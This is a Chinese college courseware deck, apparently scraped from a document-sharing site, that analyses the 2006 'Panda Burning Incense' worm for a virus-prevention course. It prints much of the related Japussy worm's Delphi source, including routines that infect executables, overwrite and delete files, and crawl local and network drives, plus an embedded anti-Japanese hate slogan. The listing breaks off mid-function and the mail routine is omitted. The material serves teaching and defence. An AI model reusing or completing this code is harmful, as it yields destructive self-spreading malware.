熊猫烧香病毒剖析
更新时间:2023-06-11 10:02:01 阅读量: 实用文档 文档下载
- 熊猫三炷香病毒推荐度:
- 相关推荐
计算机病毒与防治
Virus
重庆电子工程职业学院
计算机病毒与防治课程小组
教学单元4-4 蠕虫病毒防治第二讲 熊猫烧香蠕虫病毒剖析熊猫烧香病毒特点
熊猫烧香病毒源码分析
熊猫烧香病毒行为分析
熊猫烧香病毒的手工清除
计算机病毒与防治课程小组
熊猫烧香病毒特点
病毒名称又称
熊猫烧香
尼姆亚、武汉男生、worm.whBoy.、worm.nimaya.
病毒类型 蠕虫病毒
危险级别 ★★★★★
影响系统 Win 9X/ME/NT/2000/XP/2003
计算机病毒与防治课程小组
熊猫烧香病毒特点
2006年底,我国互联网上大规模爆发“熊猫烧香”病毒及其变种,
该病毒通过多种方式进行传播,同时该病毒还具有盗取用户游戏账 号、QQ账号等功能。该病毒传播速度快,危害范围广,截至案发 为止,已有上百万个人用户、网吧及企业局域网用户遭受感染和破 坏,引起社会各界高度关注。
《瑞星2006安全报告》将其列为十大病毒之首,在《2006年度中
国大陆地区电脑病毒疫情和互联网安全报告》的十大病毒排行中 一举成为“毒王”。
计算机病毒与防治课程小组
熊猫烧香病毒特点熊猫烧香一个感染型的蠕虫病毒,它能感染系统中exe,com, pif,src,html,asp等文件,它还能中止大量的反病毒软件进 程并且会删除扩展名为gho的文件,该文件是一系统备份工具 GHOST的备份文件,使用户的系统备份文件丢失。
被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。
计算机病毒与防治课程小组
熊猫烧香病毒特点病毒制造者
湖北省公安厅2007年2月12日宣布,根据统一部署, 湖北省网监在多个省市公 安机关的配合下,一举侦 破了制作传播“熊猫烧香” 病毒案,抓获李俊(男, 25岁,武汉新洲区人)。
计算机病毒与防治课程小组
熊猫烧香病毒源码分析病毒结构含有病毒体的文件被运行 后,病毒将自身拷贝至系 统目录,同时修改注册表 将自身设置为开机启动项, 并遍历各个驱动器,将自 身写入磁盘根目录下,增 加一个Autorun.inf文件, 使得用户打开该盘时激活 病毒体。随后病毒体开一 个线程进行本地文件感染, 同时开另外一个线程连接 网站下载ddos程序进行发 动恶意攻击。开始
当前操作系统是 否为win9x
否
通过远程映射技术将自己 映射到Explorer进程空间
是 把自己注册为服务进程
否 当前文件是否为 Japussy.exe
病毒程序已经寄生于宿主 程序,从已感染的宿主文 件中分离出无毒的真正的 宿主文件,并启动这个无 毒的宿主程序。
是 InfectFiles
结束
主程序流程图
计算机病毒与防治课程小组
熊猫烧香病毒源码分析病毒文件初始信息 Prog
ram japussy; uses windows, sysutils, classes, graphics, shellapi{, registry}; const headersize = 82432; //病毒体的大小 iconoffset = $12eb8; //pe文件主图标的偏移量 //查找2800000020的十六进制字符串可以找到主图标的偏移量 { headersize = 38912; //upx压缩过病毒体的大小 iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量 } iconsize = $2e8; //pe文件主图标的大小--744字节 icontail = iconoffset + iconsize; //pe文件主图标的尾部 id = $44444444; //感染标记
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
//垃圾码,以备写入 catchword = 'if a race need to be killed out, it must be yamato .'+ 'if a country need to be destroyed, it must be japan! ' + '*** w32.japussy.worm.a ***'; {$r *.res} function registerserviceprocess(dwprocessid, dwtype: integ er): integer; stdcall; external 'kernel32.dll'; //函数声明 var tmpfile: string; si: startupinfo; pi: process_information; isjap: boolean = false; //日文操作系统标记
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{ =====判断是否为win9x =====}
function iswin9x: boolean; var ver: tosversioninfo; begin result := false; ver.dwosversioninfosize := sizeof(tosv ersioninfo); if not getversionex(ver) then exit; if (ver.dwplatformid = ver_platform_win 32_windows) then //win9x result := true; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{===== 在流之间复制===== } procedure copystream(src: tstream; ssta rtpos: integer; dst: tstream; dstartpos: integer; count: integer); var scurpos, dcurpos: integer; begin scurpos := src.position; dcurpos := dst.position; src.seek(sstartpos, 0); dst.seek(dstartpos, 0); dst.copyfrom(src, count); src.seek(scurpos, 0); dst.seek(dcurpos, 0); end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{======将宿主文件从已感染的PE文件中分离出来,以备使用=====}procedure extractfile(filename: string); var sstream, dstream: tfilestream; begin try
sstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenynone); try dstream := tfilestream.create(filename, fmcreate); try sstream.seek(headersize, 0); //跳过头部的病毒部分 dstream.copyfrom(sstream, sstream.size - headersize); finally dstream.free; end; finally sstream.free; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{===== 填充startupinfo结构 =====}procedure fillstartupinfo(var si: start upinfo; state: word); begin si.cb := sizeof(si); si.lpreserved := nil; si.lpdesktop := nil; si.lptitle := nil; si.dwflags := startf_useshowwindow; si.wshowwindow := state; si.cbreserved2 := 0; si.lpreserved2 := nil; end; { =====发带毒邮件===== } procedure sendmail; begin end; //此处省略了带危害性的代码
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{=====感染PE文件=====} procedure infectonefile(filename: string); var hdrstream, srcstream: tfilestream; icos
tream, dststream: tmemorystream; iid: longint; aicon: ticon; infected, ispe: boolean; i: integer; buf: array[0..1] of char; begin try //出错则文件正在被使用,退出 if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染 exit; infected := false; ispe := false;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析srcstream := tfilestream.create(filename, fmopenread); try for i := 0 to $108 do //检查pe文件头 begin srcstream.seek(i, sofrombeginning); srcstream.read(buf, 2); if (buf[0] = #80) and (buf[1] = #69) then //pe标记 begin ispe := true; //是pe文件 break; end; end; srcstream.seek(-4, sofromend); //检查感染标记 srcstream.read(iid, 4); if (iid = id) or (srcstream.size < 10240) then //太小的文件不感染 infected := true; finally srcstream.free; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
if infected or (not ispe) then //如果感染过了或不是pe文件则退出 exit; icostream := tmemorystream.create; dststream := tmemorystream.create; try aicon := ticon.create; try //得到被感染文件的主图标(744字节),存入流 aicon.releasehandle; aicon.handle := extracticon(hinstance, pchar(filename), 0); aicon.savetostream(icostream); finally aicon.free; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析srcstream := tfilestream.create(filename, fmopenread); //头文件 hdrstream := tfilestream.create(paramstr(0), fmopenread or fmsharedenyn one); try //写入病毒体主图标之前的数据 copystream(hdrstream, 0, dststream, 0, iconoffset); //写入目前程序的主图标 copystream(icostream, 22, dststream, iconoffset, iconsize); //写入病毒体主图标到病毒体尾部之间的数据 copystream(hdrstream, icontail, dststream, icontail, headersize icontail); //写入宿主程序 copystream(srcstream, 0, dststream, headersize, srcstream.size); //写入已感染的标记 dststream.seek(0, 2); iid := $44444444; dststream.write(iid, 4); finally
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{=====将目标文件写入垃圾码后删除======} procedure smashfile(filename: string); var filehandle: integer; i, size, mass, max, len: integer; Begin try setfileattributes(pchar(filename), 0); //去掉只读属性 filehandle := fileopen(filename, fmopenwrite); //打开文件 try size := getfilesize(filehandle, nil); //文件大小 i := 0; randomize; max := random(15); //写入垃圾码的随机次数 if max < 5 then max := 5;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析
mass := size div max; //每个间隔块的大小 len := length(catchword); while i < max do begin fileseek(filehandle, i * mass, 0); //定位 //写入垃圾码,将文件彻底破坏掉 filewrite(filehandle, catchword, len); inc(i); end; finally fileclose(filehandle); //关闭文件 end; //删除之 deletefile(pchar(filename));
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{ =====
获得可写的驱动器列表 =====}
function getdrives: string; var disktype: word; d: char; str: string; i: integer; begin for i := 0 to 25 do //遍历26个字母 begin d := chr(i + 65); str := d + ':\'; disktype := getdrivetype(pchar(str)); //得到本地磁盘和网络盘 if (disktype = drive_fixed) or (disktype = drive_remote) then result := result + d; end;
计算机病毒与防治课程小组
熊猫烧香病毒源码分析{=====遍历目录,感染和摧毁文件=====}procedure loopfiles(path, mask: string); var i, count: integer; fn, ext: string; subdir: tstrings; searchrec: tsearchrec; msg: tmsg; function isvaliddir(searchrec: tsearchrec): integer; begin if (searchrec.attr <> 16) and ( <> '.') and ( <> '..') then result := 0 //不是目录 else if (searchrec.attr = 16) and ( <> '.') and ( <> '..') then result := 1 //不是根目录 else result := 2; //是根目录 end;
计算机病毒与防治课程小组
正在阅读:
熊猫烧香病毒剖析06-11
分级阅读09-21
c语言作业题一答案10-20
关于贯彻落实从事农、林、牧、渔业项目企业所得税优惠政策有关事06-10
2016年继续教育创新能力建设答案11-04
表3.5.1隧洞回填灌浆单孔封堵与钻孔工序施工质量验收评定表04-11
玉环水暖阀门产业分析05-14
冷轧卷取机的张力系统控制06-08
规避违法分包、转包、挂靠管理办法12-05
16年继续教育答案11-06
- 教学能力大赛决赛获奖-教学实施报告-(完整图文版)
- 互联网+数据中心行业分析报告
- 2017上海杨浦区高三一模数学试题及答案
- 招商部差旅接待管理制度(4-25)
- 学生游玩安全注意事项
- 学生信息管理系统(文档模板供参考)
- 叉车门架有限元分析及系统设计
- 2014帮助残疾人志愿者服务情况记录
- 叶绿体中色素的提取和分离实验
- 中国食物成分表2020年最新权威完整改进版
- 推动国土资源领域生态文明建设
- 给水管道冲洗和消毒记录
- 计算机软件专业自我评价
- 高中数学必修1-5知识点归纳
- 2018-2022年中国第五代移动通信技术(5G)产业深度分析及发展前景研究报告发展趋势(目录)
- 生产车间巡查制度
- 2018版中国光热发电行业深度研究报告目录
- (通用)2019年中考数学总复习 第一章 第四节 数的开方与二次根式课件
- 2017_2018学年高中语文第二单元第4课说数课件粤教版
- 上市新药Lumateperone(卢美哌隆)合成检索总结报告
- 熊猫
- 烧香
- 剖析
- 病毒
- 第3课:华盛顿会议
- 1.33寸屏模组规格书 SPEC V1.6
- 2013-2018年中国中空镶嵌玻璃行业市场分析及投资可行性研究报告
- 大学物理电磁学试题
- 广东省2016-2017年高三学业水平考试试题文综试题(含答案)
- 2010高考地理一轮复习:五年高考三年模拟精品题库(自然灾害与防治)
- 新课改培训高二政治总结
- 黄冈市蕲春县八年级上学期语文期末考试试卷
- 第三章液态金属结晶的基本原理 上
- ASTME1444-94a磁粉检测实践标准 英文版
- 安徽省建造师协会:甲方、监理、施工方召开工地例会流程内容详解二
- 2016年暑期在工业园区企业公司进行社会实践的总结
- 中国近代史名词解释
- 08 第八章 成本性态分析 成本管理会计 孟焰版
- 乐高教育系列参考教材9686
- 《桂枝香&183;金陵怀古》lt
- 应急救援管理机构通知
- 会计模拟题(无纸化会计基础模拟)
- 建筑工程安全管理
- 描写春夏秋冬的四字词语